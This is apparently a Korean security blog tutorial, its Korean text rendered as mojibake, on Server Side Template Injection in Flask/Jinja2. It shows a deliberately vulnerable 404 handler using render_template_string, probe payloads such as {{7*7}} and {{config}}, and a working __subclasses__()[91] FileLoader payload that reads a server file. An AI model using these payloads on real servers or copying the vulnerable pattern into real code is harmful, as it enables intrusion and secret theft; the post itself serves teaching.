SSTI(Server Side Template Injection)์ทจ์ฝ์
๊ณต๊ฒฉ ์ฝ๋๊ฐ ์น ํ ํ๋ฆฟ์ ํฌํจ๋ ์ํ์์ ์๋ฒ ์ธก์์ ํ ํ๋ฆฟ ์ธ์ ์ ์ด ๋ฐํ๋๋ ๊ณต๊ฒฉ์ ์๋ฏธํฉ๋๋ค.
์์, ํ ํ๋ฆฟ ์์ง์ ๋ํ ์ด์ผ๊ธฐ๋ฅผ ํด๋ด ์๋ค.
์น ํ ํ๋ฆฟ ์์ง์ ์นํ์ด์ง ์ ๊ณ ์ ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๋ถ๋ถ์ ํ ํ๋ฆฟ์ผ๋ก ๋ฏธ๋ฆฌ ์์ฑํด ๋๊ณ ,
๋์ ์ผ๋ก ๋ณ๊ฒฝ๋๋ ๋ฐ์ดํฐ ์์ญ์ ๊ฒฐํฉํ์ฌ ์น ๋ฌธ์๋ฅผ ๊ตฌ์ฑํ๊ณ ํ๋ฉด์ ์ถ๋ ฅํ๊ฒ ํฉ๋๋ค.
์๋ ์ฌ์ง์ ์ ๊ฐ ๋ฏธ๋ฆฌ ๊ตฌ์ถํด๋ ์ํ ํ๊ฒฝ์ ๋๋ค.
๋ฉ์ธ ํ์ด์ง ์ ๋ฐฐ๊ฒฝ์ ๊ฐ์ ์์์ด ๊น๋ ค์์ต๋๋ค.
์ด๋ ๊ฒ ๋์ผํ, ์ค๋ณต๋ ๋ถ๋ถ์ ๋ฏธ๋ฆฌ ํ ํ๋ฆฟ์ผ๋ก ๋ง๋ค์ด๋์ผ๋ฉด ์์ค์ฝ๋๋ฅผ ์ข ๋ ํจ์จ์ ์ผ๋ก ๊ด๋ฆฌํ ์ ์์ต๋๋ค.
{% with messages = get_flashed_messages() %}
{% if messages %}
<script>
alert("{{ messages[-1] }}");
</script>
{% endif %}
{% endwith %}
<!DOCTYPE html>
<html lang="en">
<head>
{% block head %}
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<iframe src="https://www.youtube.com/embed/93M1QtYDtpU?autoplay=1&mute=1&loop=1&control=0&playlist=93M1QtYDtpU&controls=0" \
title="A$AP ROCKY X TYLER THE CREATOR - POTATO SALAD" class="back_youtube" \
frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; web-share" \
allowfullscreen>
</iframe>
{% block content %}
{% endblock %}
</body>
</html>
์ ์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด, {% block head %}{% endblock %} ๋ถ๋ถ๊ณผ {% block content %}{% endblock %} ๋ถ๋ถ์ด ์์ต๋๋ค.
์ด๋ ๊ฒ, ๋ฐ๋๋ ๋ถ๋ถ์ ์ ์ธํ ๋ฐ๋ณต๋๋ ๋ถ๋ถ์ ํ ํ๋ฆฟ์ผ๋ก ๋ง๋ค์ด ๋๋๋ค๋ฉด, ๋์ฑ ์ํจํ๊ณ ์ผ๊ด์ฑ์๊ฒ ์์ค๋ฅผ ๊ด๋ฆฌํ ์ ์์ต๋๋ค.
๋ค์ ๋ณธ๋ก ์ผ๋ก ๋์์์, ์์ ๊ฐ์ด ํ ํ๋ฆฟ ๊ตฌ๋ฌธ์ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ์ ์๋ค๋ฉด ์๋ฒ๋ ์ด๋ฅผ ์ ์์ ์ผ๋ก ์ฒ๋ฆฌํ ๊ฒ์ ๋๋ค.
์ฌ๊ธฐ์ SSTI(Server Side Template Injection)๊ฐ ๋ฐ์ํฉ๋๋ค.
img_2๋ฅผ ๋ณด๋ฉด ์๋ฒ ์ธก์ Template์ด ๊ตฌ์ฑ๋์ด ์๊ณ , ๊ณต๊ฒฉ์๊ฐ ms์ฝ๋์ {{ 7*7 }}๋ผ๋ Template ๊ตฌ๋ฌธ์ ์ ๋ ฅํ๋ฉด
์๋ฒ์ธก์์ ์คํ๋๋ ๊ณผ์ ์ ํ์ธํ ์ ์์ต๋๋ค.
๋ํ ๋ฌธ๋ฒ์ Template Engine๋ง๋ค ์ฐจ์ด๊ฐ ์์ต๋๋ค.
${ ... } | {{ ... }} | <%= %> | ... |
์ด๋ฌํ SSTI๋ Server Side์ ์ทจ์ฝ์ ๊ณต๊ฒฉ(RCE, SSRF)์ผ๋ก ์ด์ด์ง ์ ์์ด ์ํ๋๊ฐ ๋์ต๋๋ค.
์ด๋ฒ ํฌ์คํ ์์๋ ์ฌ๋ฌ Engines์ค ์ ์ค์ต ํ๊ฒฝ์์๋ ์ฌ์ฉํ 'Jinja Template'์ ๊ดํด ์งํํด ๋ณผ ๊ฒ์ ๋๋ค.
์ฐ์ , ์ ์น์ ์ทจ์ฝํ ํ์ด์ง๋ ๋ฐ๋ก ์ค๋ฅ ํ์ด์ง์ ๋๋ค.
์์ฒญ์ ์ค๋ฅ๊ฐ ๋๋ ์ํฉ์ ๋ฐ๋ก ์ฒ๋ฆฌํ์ฌ ๋ฆฌํด์์ผฐ๋๋ฐ, ์ฝ๋๋ ์๋์ ๊ฐ์ต๋๋ค.
@app.errorhandler(404)
def page_not_found(e):
if session:
name = session['name']
html = '''
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค %s๋.
''' % name
return render_template_string(html), 404
else:
html = '''
404 ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
'''
return render_template_string(html), 404
์ทจ์ฝ์ ์ ์ render_template_string ํจ์์์ ๋ฐ์ํฉ๋๋ค.
session์ด ์กด์ฌํ ๊ฒฝ์ฐ๋ฅผ ๋ณด๋ฉด ๋ณ์ html์ ๋ฉ์์ง์ ์ฌ์ฉ์ ์ด๋ฆ์ ์ ๋ ฅ๋ฐ์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ด ๋ณ์๋ ๋ ๋๋ง๋์ด ์ฌ์ฉ์์๊ฒ ๋ณด์ฌ์ง๊ฒ ๋ฉ๋๋ค.
์ฌ๊ธฐ์ ๋ง์ฝ, ์ฌ์ฉ์ ์ด๋ฆ์ Template ๊ตฌ๋ฌธ์ผ๋ก ๋ง๋ค์๋ค๋ฉด SSTI ๋๋ ๊ฒ์ ๋๋ค.
์๋ ๊ทธ๋ฆผ์ผ๋ก ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค.
์ฌ์ฉ์ ์ด๋ฆ์ {{ 7*7 }}๋ก ํ๋๋ ์ฐ์ฐ์ด ์คํ๋์ด 49๋ผ๊ณ ๋์ต๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก flask์ ๊ฒฝ์ฐ app์ ๋ค์ด๊ฐ๋ ๋๋ถ๋ถ์ ์ ๋ณด๋ค์ด config ํด๋์ค์ ๋ค์ด์์ต๋๋ค.
ํ๋ฒ {{ config }}๋ก ์ด๋ฆ์ ๋ฃ์ด๋ณผ๊น์?
img_5๋ฅผ ๋ณด๋ฉด, ์ค์ ์๋ฒ์์ ์ฌ์ฉ๋๋ ์ค์ํ ์ ๋ณด๋ค์ด ๋ํ๋ฌ์ต๋๋ค.
์ด๋ฟ๋ง ์๋๋ผ, RCE(Remote Code Execute)์ ์ฐ๊ณํ์ฌ ์์คํ ์ ์ ๊ทผํ์ฌ ๋ช ๋ น์ด๋ฅผ ์คํ ํ ์ ์์ต๋๋ค.
jinja ์์์ ssti์ RCE์ ์ฐ๊ณ๋ฅผ ์ํด์ sandbox๋ก๋ถํฐ ๋ฒ์ด๋, python์ฝ๋๋ฅผ ์คํ์ํฌ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํฉ๋๋ค.
์ด๋ฅผ ์ํด์ ์ค๋ธ์ ํธ๋ค์ ์ฌ์ฉํ ๊ฑด๋ฐ, ํด๋น ์ค๋ธ์ ํธ๋ค์ ์๋๋ฐ์ค ํ๊ฒฝ์์๋ ๋ฒ์ด๋ ์์ง๋ง ์ ๊ทผ์ ๊ฐ๋ฅํด์ผ ํฉ๋๋ค.
์ดํด๊ฐ ์ ์๋๋ค๊ตฌ์?
์๋ฅผ ํ๋ ๋ค์ด๋ณด๊ฒ ์ต๋๋ค.
render_template("ch4n.html", UserId=UserId, UserName=UserName)
์ ์ฝ๋์์ UserId์ UserName์ด๋ objects๋ non-sandboxed ํ๊ฒฝ์ด์ง๋ง, sandboxed ํ๊ฒฝ์์ ์ ๊ทผ์ด ๊ฐ๋ฅํฉ๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ด๋ ํ sandboxํ๊ฒฝ์์๋ ์ ๊ทผ ๊ฐ๋ฅํ objects๋ ์๋์ ๊ฐ์ต๋๋ค.
[]
''
()
dict
config
request
์ด๋ฌํ objects๋ก๋ถํฐ ์ฐ๋ฆฌ๋ <class 'object'>๋ผ๋ ํด๋์ค์ ์ ๊ทผํด์ผ ํฉ๋๋ค.
<class 'object'>์ __subclasses__๋ผ๋ ๋ฉ์๋๋ฅผ ํตํด os์ ๊ฐ์ non-sandboxed class๋ค์ ๋ถ๋ฌ์ฌ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
์ ์ด๋ฅผ ์ด์ฉํด ์ง์ ์๋ฒ์ ํ์ผ์ ์ฝ์ด์ค๋ ๊ณต๊ฒฉ์ ํด๋ด ์๋ค.
์ฐ๋ฆฌ๊ฐ ์งํ์ํฌ ํฐ ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
ํ์ผ์ ์ฝ์ด์ค๊ธฐ ์ํด ์ฌ์ฉํ class๋ฅผ ํ์ํด ๋ด ์๋ค.
{{ ''.__class__ }}
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค <class 'str'>๋.
__class__ ๋งค์๋๋ ํด๋น ์ค๋ธ์ ํธ์ ํด๋์ค๋ฅผ ๋ณด์ฌ์ค๋๋ค.
{{ ''.__class__.__mro__ }}
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค (<class 'str'>, <class 'object'>)๋.
__mro__ ๋งค์๋๋ ๋ถ๋ชจ ํด๋์ค๋ค์ ํ๋ธ๋ก ๋ฐํํด ์ค๋๋ค.
๋ฐํ ๊ฐ์ค ๋ ๋ฒ์งธ์ <class 'object'>๊ฐ ์์์ ํ์ธํ ์ ์์ต๋๋ค.
{{ ''.__class__.__mro__[1].__subclasses__() }}
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>,
...
<class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]๋.
__subclasses__ ๋งค์๋๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ์๋ฐฑ๊ฐ์ง์ ํด๋์ค๋ค์ ํ์ธํ ์ ์์ต๋๋ค. ์ด์ค ์ฐ๋ฆฌ๊ฐ ์ฌ์ฉํ ํด๋์ค๋ ํ์ผ ์ ์ถ๋ ฅ ๊ด๋ จ ํจ์๊ฐ ์๋ <class '_frozen_importlib_external.FileLoader'> ์ ๋๋ค.
index๊ฐ 91์ด๋, __subclasses__()[91]๋ก ํด๋์ค์ ์ ๊ทผํ ์ ์์ต๋๋ค.
<class '_frozen_importlib_external.FileLoader'>์ ๊ดํด ์์ธํ ์ค๋ช ์ ํด๋ณด์๋ฉด
python์ด ๊ธฐ๋ณธ์ ์ผ๋ก ์๋ํ๊ธฐ ์ํด ํ์ํ ํด๋์ค๋ก, ๊ตฌ์ฒด์ ์ผ๋ก import๋ฅผ ๊ตฌํํ๋ ๊ตฌ์ฑ ์์์ ๋๋ค.
ํด๋์ค ๋งจ ์ _frozen_์ ์ฝ๊ฒ ๋งํด Unix system์ ์ํ python ์ปดํ์ผ ์ ํธ๋ฆฌํฐ๋ผ ๋ณด๋ฉด ๋ฉ๋๋ค.
https://wiki.python.org/moin/Freeze
Freeze - Python Wiki
Freeze Freeze is a "pure Python" utility that ships with Python. You can use Freeze to compile executables for Unix systems. If you want to write Python, but you don't know if your clients have Python installed, use this! How to Use Create a Python program
wiki.python.org
FileLoader๋ filename๊ณผ path๋ผ๋ ๋ ๊ฐ์ง์ ์ธ์๋ฅผ ๋ฐ์ต๋๋ค.
๋ํ, get_data๋ผ๋ ํจ์๋ฅผ ๊ฐ์ง๋๋ฐ ํด๋น ํจ์๋ path์ธ์๋ฅผ ๋ฐ์ ๋ฐ์ด๋๋ฆฌ ํ์ผ๋ก ์ฝ๊ณ ๋ฐ์ดํธ์ด์ ๋ฐํํด์ค๋๋ค.
์ฝ๊ฒ ๋งํด, ํ์ผ์ ์ฝ์ด์ฃผ๋ ์ญํ ์ ์ํํ ์ ์์ต๋๋ค.
https://docs.python.org/ko/dev/library/importlib.html#importlib.abc.FileLoader
importlib — The implementation of import
Source code: Lib/importlib/__init__.py Introduction: The purpose of the importlib package is three-fold. One is to provide the implementation of the import statement (and thus, by extension, the__i...
docs.python.org
์๋ ์ฝ๋๋ importlib์ FileLoaderํด๋์ค ์ ๋๋ค.
class FileLoader:
...
def get_data(self, path):
"""Return the data from path as raw bytes."""
if isinstance(self, (SourceLoader, ExtensionFileLoader)):
with _io.open_code(str(path)) as file:
return file.read()
else:
with _io.FileIO(path, 'r') as file:
return file.read()
...
์ฐ๋ฆฌ๋ ์ง๊ธ ์๋ฒ์ ๋ฏธ๋ฆฌ ์ ์ฅํด ๋ /secret ํ์ผ์ ์ฝ์ด์ฌ ๊ฒ์ ๋๋ค.
์ฝ๋๋ ...('secret','/secret').get_data('/secret') ๊ณผ๊ฐ์ด ์์ฑํด์ผ๊ฒ ์ฃ ?
{{ ''.__class__.__mro__[1].__subclasses__()[91]('secret','/secret').get_data('/secret') }}
์ด์ ํด๋น payload๋ก ์ด๋ฆ์ ๋ฐ๊ฟ๋ณด๊ณ ํ์ธํด ๋ด ์๋ค.
์ฑ๊ณต์ ์ผ๋ก ์๋ฒ ์ ํ์ผ์ ์ฝ์ด์์ต๋๋ค.
์ด์ฒ๋ผ ssti๋ server side ๋ฌด์์ด ๊ณต๊ฒฉ๋ค๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
์ต๋ํ์ ์ดํด๋ฅผ ๋๊ธฐ ์ํด ์ ๊ฐ ์ฐพ์๊ฐ๋ ๋ฃจํธ๋ฅผ ๊ทธ๋๋ก ๋ฐ๋ผ๊ฐ๋ค๋ณด๋,
๊น์ ๋ถ๋ถ๊น์ง ๊ฐ๊ฒ ๋์์ต๋๋ค.
์ด์ ์ด๋ฒ ํฌ์คํ ์ ๋ง์น๊ฒ ์ต๋๋ค.
'web hacking ๐ฅ > techniques โ principles' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
HTTP Request Smuggling ์ทจ์ฝ์ (0) | 2024.12.08 |
---|---|
Race Condition (0) | 2024.04.05 |
SSTI - RCE(Remote Code Execution) ์ฐ๊ณ ๊ณต๊ฒฉ (0) | 2023.10.13 |
sql-injection ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ ์์ ์ค์ต (1) | 2023.08.14 |